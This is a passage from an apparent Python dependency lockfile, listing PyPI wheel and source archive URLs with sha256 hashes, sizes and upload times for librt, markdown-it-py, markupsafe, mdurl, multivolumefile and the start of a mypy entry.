{ url = "https://files.pythonhosted.org/packages/0e/fa/b0289dcb186eb3f97221ba00da5f4bd3ba7fa5e99752d48aa8d336615334/librt-0.16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c4aa329c17bd1aaea4f6e89335d8ccd494b3a5830b6654462273e50e11023f0", size = 703983, upload-time = "2026-09-29T00:53:59.024Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d9/ab/05ebbbde7530fc5eeb58fbd1581522a9f64f132fa703c4c595eed6e14760/librt-0.16.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:0ead24d2562a49473dddd9efef8581f020007eb0054389c3ee3ffad38b1ca4c9", size = 683847, upload-time = "2026-09-29T00:54:00.671Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a3/75/f52aeecd4dbadbddf80725ba7de126d8bd5d0eb66247eae17a81ed90dd4d/librt-0.16.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:02118f56a9c36ddd07dfd9b919d9ecc117ba20a90987d56aa4c429fa34509188", size = 698045, upload-time = "2026-09-29T00:54:02.247Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e6/55/fa277a835cd6eb42380591ceb85f48c5b4d2b2d7e2cb9869e1e17d24d237/librt-0.16.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4e29522c62e28595ff7e324c6834ade51127707f0e255b18d1c1cf03d39c1048", size = 724640, upload-time = "2026-09-29T00:54:04.078Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/25/e4/2cf64354f3fde8ebd591b3b48f96510bee24ac5f7d1e567adbbe210abdbd/librt-0.16.0-cp314-cp314t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3ff4b2367926b69c6215635902cccb04048e73094e9862900d27cb2c6bbff143", size = 731748, upload-time = "2026-09-29T00:54:05.741Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f8/c9/c180af3e94e01aa529fa93d7733fec2abc47f222345400cf21d5481d5f8a/librt-0.16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c6f1b27bf1632a7e016af9f145f82be95e1edd7721a646505c21059257cb5a04", size = 754960, upload-time = "2026-09-29T00:54:07.38Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/95/d6/01073aa78c58f356b10d9c57b3fe9abb143df338142bcd316df417b89db0/librt-0.16.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5696d7f52e7b37217cb3a8f92c744fe835942602fdd4c1a8bc4741d3bfdce15e", size = 747000, upload-time = "2026-09-29T00:54:09.06Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f7/d8/1de3783908658d697a8cfc00582f61299ffba7796d7260c112e4700b1109/librt-0.16.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6072e92dd876ff6ceeb6cf371e35e51f479349837391341f479b08df4564242b", size = 749569, upload-time = "2026-09-29T00:54:10.702Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b7/32/e817f66c96d6caa8bb8435ff93c4c220624d59efc506be59ab98fcd01d0c/librt-0.16.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:39ca4f2f2fe05de8e63493da592d84311adabe5bef52b193851981da9816b302", size = 729483, upload-time = "2026-09-29T00:54:12.25Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7c/c9/23992ccd2b9d22798fdd0f61353183a47414e651da782ad83eb680f50833/librt-0.16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f9807485a908f00355820f18e91e045ffdcdc5adb68aaec40a1e2b88c5f7bba1", size = 776584, upload-time = "2026-09-29T00:54:13.837Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/67/3b/e8af957f08e6e2e8e566b099e43d2748418aa565df6ee1d9d3331209fdfe/librt-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:94be5cb7bca4df6201f4183e9e4fa2086c655283d20b38cd84500a69057575a7", size = 104402, upload-time = "2026-09-29T00:54:15.568Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ca/1c/946e6443d7cd32347a086043395e421e52fd603c9163d2ec970ceab8eed6/librt-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d46ca272b251d033dd4527b0dec5f261a28a52bd5fa0f99c117b0a1f8588cc2d", size = 126227, upload-time = "2026-09-29T00:54:17.165Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c2/a3/bc4f9959d3c62bcbf9e5fd3470a8bbd8bf33224ed4c25d7fba173201b8ac/librt-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:b9d6d4b14e92d876f8026b54c20c445f36425214c1081dc76f74e40db386b82b", size = 116493, upload-time = "2026-09-29T00:54:18.567Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b6/4b/10fdb42dfab4c1533e1570e686b18e86ff4328b406361b39fb3016667638/librt-0.16.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:6fe436af2eaf630474f491af5d032cbe45f93fcff5c3b9fe4ab194a7255b20ff", size = 149829, upload-time = "2026-09-29T00:54:19.933Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/30/a90ca13f1d3d91af1680000a4038536907018fbd51764767287a05d28b8b/librt-0.16.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:8ff5d26c529336be9bd7ae04483235d77778ee7d6444a95353102b542601ce81", size = 154522, upload-time = "2026-09-29T00:54:21.306Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5c/dd/bcf364eacfa070bb1fc88d503111ae7177914197ba1fa717c748926e7930/librt-0.16.0-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:909d8e3c1faee44cb762b1c519ff8613dcc5ceae5c99987a00917b5a31fd1d6a", size = 497593, upload-time = "2026-09-29T00:54:22.798Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/18/c1/2c4e81e347bdabfe8346bfc6dc37ae5e154d61c88e30848ec0606025a5e0/librt-0.16.0-cp315-cp315-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:6d4a64283ee61824b5790de882bc68e2d9d7a5143537cb7a966f7354f71646d4", size = 480459, upload-time = "2026-09-29T00:54:24.364Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ab/d7/fef2a3cb8400701be496f6e459876f650b3451f407e30cb243de571ae615/librt-0.16.0-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5810ba811297fdf37a1531a57667cb8ace0842013ca8606bf9eb7c24cf4be154", size = 507814, upload-time = "2026-09-29T00:54:25.997Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e1/6f/53762927a32e9dc9eb1d1c1f3528da281290c86d96929a8af652f671266e/librt-0.16.0-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e56aaf8c167548dc8e5d6f3bd0f48dcdd299a23c73be3f744aab79d99e9c7f5d", size = 525114, upload-time = "2026-09-29T00:54:27.747Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6c/67/0b9d031f303c4e8c691a9a8ef9d272f13b530c11cc563b819df621b6a348/librt-0.16.0-cp315-cp315-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8f36c58e33b304b525c6c9c5076399c6ebf1109e17b9051a05a407b091b9215b", size = 520465, upload-time = "2026-09-29T00:54:29.331Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ae/d5/2056a3a85864e882eb17a203a10ddb26fa748bc9718ec67e79059ab46cae/librt-0.16.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:242e00b3d4fa37c3d3c1ca5f5c9adb7d909ddb1eac9c41f2787320d00caa0af2", size = 537257, upload-time = "2026-09-29T00:54:30.915Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/54/57/e0d79790c163cbc0909e209a6f62e30bb713b647f905a176cdc64848fd4d/librt-0.16.0-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:0253721561787b8df8443eb347b7a6461015354e5bdd37ee38a41fef220d2bb0", size = 527442, upload-time = "2026-09-29T00:54:32.478Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/aa/50/1c0c95aba7af51f4752ea34fbf2eb79b36e7cae3a72536248e8c735de735/librt-0.16.0-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:3e483a8d69ede8067db70c0e83007423b6925de6fd53afed01d66160f2e9398c", size = 548139, upload-time = "2026-09-29T00:54:34.183Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/98/91/a8a43dd5138d4f55f88846b8f0c85454a4fad69952cebfcff9948f831290/librt-0.16.0-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:69ba927445cfaaffb4081003ef5224c55a5c2ab67ef956f416ef744916e44121", size = 529708, upload-time = "2026-09-29T00:54:35.761Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2d/41/d5226881ab2b7c20d9d587b37bdd4a0ec8775a96d00ca87ac9f385587db4/librt-0.16.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:d6a365f2ab45a984d0e00eee0dd17f599ceab8cadab6ea07b6111c8132fc0e42", size = 567781, upload-time = "2026-09-29T00:54:37.409Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bb/bf/2345ba57a626e8c78c4ddcc724636a8df5a593fe46c1ee76bbf477e32b0d/librt-0.16.0-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:f01f3805f2dae4781c0c34b440e31740d082950bdaf89a6f601ad589a28af57a", size = 79177, upload-time = "2026-09-29T00:54:38.792Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1e/40/99e77936cc9207f629b077bf7cbc5e2f0827cddd7c29792f04ef881bd2c3/librt-0.16.0-cp315-cp315-win32.whl", hash = "sha256:b0e3e721c75d2e79a76d4422c79d7ba705fe1bbafec907037fe7a657a480a0e3", size = 100127, upload-time = "2026-09-29T00:54:40.251Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/56/1e/801fe26bc622061b9dfd010e166d94142cb774b733217e6d98d1c0cf2638/librt-0.16.0-cp315-cp315-win_amd64.whl", hash = "sha256:bc02954b1295de798bbdb0b4e2d8a28c2117de8b5c73dcbeb27dc32572dfb971", size = 120480, upload-time = "2026-09-29T00:54:41.722Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bb/a9/d533983055bd36e112627384c2c038845d1df882540b8bcefb566475640b/librt-0.16.0-cp315-cp315-win_arm64.whl", hash = "sha256:c5db585d43449a5f54303d4b2774e45e1babd975cfe1630a3d708c0b80c3e560", size = 110915, upload-time = "2026-09-29T00:54:43.052Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/55/fe/d62238fa9c653b0e0613290349467cb65711b5800e8e474f45e942a0ad95/librt-0.16.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f06c689cb14afd9b612727553a5ec5a40febf113ca41c4413a2b0b334285884b", size = 159714, upload-time = "2026-09-29T00:54:44.497Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f3/ac/f31efe7818700be72ba4f9af8a80fa67c39808c8d26dacc55dc1f6f35172/librt-0.16.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:13b4e8aba90b0b1c82474e9844aa9ffe7ad3faa484350e1da64cb8188d903134", size = 162086, upload-time = "2026-09-29T00:54:45.968Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d9/16/4d7487bf86a9d7e8e18f37ba5538789233ea693637379b75701bd35ec9de/librt-0.16.0-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5a269c46ae327d8e6f8c1f85f7516cb52c0fa48127565a1105a4f4a05ff2a0b4", size = 712727, upload-time = "2026-09-29T00:54:47.486Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/77/74/50cd550ccc1a517b9ed62347625c01ddf8c4afad66490312677c011458f6/librt-0.16.0-cp315-cp315t-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:a33e0dae1f8592146a4764d54ce842b278732d21a84e17c3bbe6b1bc158a2248", size = 681106, upload-time = "2026-09-29T00:54:49.126Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/df/5d/7293f712975ee6fdd2251411fd9ef1c62bc99c7b83ecbe62dbc999b1fab7/librt-0.16.0-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:47ada6ea32636492c61aa8ad27ae3b9404bfe7a97e3ba946d1984236cc741da0", size = 705921, upload-time = "2026-09-29T00:54:50.905Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/67/f7/8aab946f11d59d1bece9ffc65d994b200c789a8ca5a95c17e17e609f912a/librt-0.16.0-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c43bd6e642d8a248c114327f98dd25ac5a7cb5aa168ef02f0559b91874df16b8", size = 731786, upload-time = "2026-09-29T00:54:52.584Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/43/76/1c42ab31e7cb8384ebf6d3af607213c495222474f4940443ae7639ab7685/librt-0.16.0-cp315-cp315t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c3d1bb7841a816ace6449bb26d3f9560dbfa20e71c568d23f0f62bf1e68f50b1", size = 744964, upload-time = "2026-09-29T00:54:54.217Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6f/2e/4b19982d933d2dfced671e840b219e4c1cd3f507df6e6dabb51bbd4e3850/librt-0.16.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:3931f7a3db322e7f44e02a280e3949326ce9579ad388ee8d691dc7c76da9fb70", size = 765305, upload-time = "2026-09-29T00:54:55.815Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b8/1b/e872583de2dcb3ac7746e7a2321aeeb168274f3952a87dc66e05ddb29faf/librt-0.16.0-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:f4462528b6000afe8f16907b5c7c2553abf1df005ba5140e6eb394541c3624c3", size = 744959, upload-time = "2026-09-29T00:54:57.532Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/10/de/a18c6bcfb297af2674233e90b3c3661c3a0af0f1434a0c966d2ef708a835/librt-0.16.0-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:80039ba9b6a7d5f1a0175a4cca6bbefead87bd854c80abad1cb30afe47a830db", size = 758138, upload-time = "2026-09-29T00:54:59.484Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/1c/0df1d732539c297bb1a093e1fe3204d2faf76a9022cf4e1d1c2fce059790/librt-0.16.0-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:7a1d272724b581bb6bc769dfdafed6da2ecc9886ba2450311de55a4ac2e1e9cd", size = 744268, upload-time = "2026-09-29T00:55:01.179Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a2/f7/ccaf31331f20c91a5bd9bd48ffc3f743f9c81bb5720cc7b2a720ca204f0a/librt-0.16.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:fbe4fb8c5445f7496d7f7f6bb0807875d09d47e6771ffa175fb2df2895fb86ba", size = 785783, upload-time = "2026-09-29T00:55:02.938Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c1/ea/7421d9e6db894cd6cd788b604b3394a163ded6b942052b6f96c23ccf08e1/librt-0.16.0-cp315-cp315t-win32.whl", hash = "sha256:375bfe6b572a8f6cfc398709356046173bf27e64c4c5edaf5f7062f051fb4bf9", size = 104355, upload-time = "2026-09-29T00:55:04.533Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/85/6d/7c31a506eb847bc58aeb2402d58e17605e821f68ab5df5e66fe274a6df41/librt-0.16.0-cp315-cp315t-win_amd64.whl", hash = "sha256:bd3150023d3dc2bc70f3784e59ffa1140d56ddba3d8125b3d6f9f85221279bfc", size = 126134, upload-time = "2026-09-29T00:55:06.017Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/36/69/7a5d10ac409c4da0355e054a14371871da9b5557fcc42772cd00181c6cce/librt-0.16.0-cp315-cp315t-win_arm64.whl", hash = "sha256:8ceafb70f2a4f0826f11031942e59c0728fd98da112dc346d4352bde1e486866", size = 116391, upload-time = "2026-09-29T00:55:07.484Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "markdown-it-py"
|
||||||
|
version = "4.2.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "mdurl" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "markupsafe"
|
||||||
|
version = "3.0.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "mdurl"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "multivolumefile"
|
||||||
|
version = "0.2.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/50/f0/a7786212b5a4cb9ba05ae84a2bbd11d1d0279523aea0424b6d981d652a14/multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6", size = 77984, upload-time = "2021-04-29T12:18:39.882Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/22/31/ec5f46fd4c83185b806aa9c736e228cb780f13990a9cf4da0beb70025fcc/multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678", size = 17037, upload-time = "2021-04-29T12:18:38.886Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "mypy"
|
||||||
|
version = "2.3.1"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "ast-serialize" },
|
||||||
|
{ name = "librt", marker = "platform_python_implementation != 'PyPy'" },
|
||||||
|
{ name = "mypy-extensions" },
|
||||||
|
{ name = "pathspec" },
|
||||||
|
{ name = "typing-extensions" },
|
||||||
|
]
|
||||||
|
